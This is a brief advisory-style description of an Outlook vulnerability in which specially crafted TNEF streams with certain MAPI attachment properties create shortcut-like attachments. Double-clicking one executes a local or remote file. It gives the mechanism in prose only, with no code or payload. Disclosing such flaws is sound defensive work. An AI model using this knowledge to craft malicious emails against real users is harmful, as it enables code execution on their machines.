				It has been discovered that certain e-mail message cause Outlook to create Windows
				shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
				streams with certain MAPI attachment properties, it is possible to set a path name
				to files to be executed. When a user double clicks on such an attachment or message,
				Outlook will proceed to execute the file that is set by the path name value. These
				files can be local files, but also file stored remotely for example on a file share.
				Exploitation is limited by the fact that its is not possible for attackers to supply
				command line options.
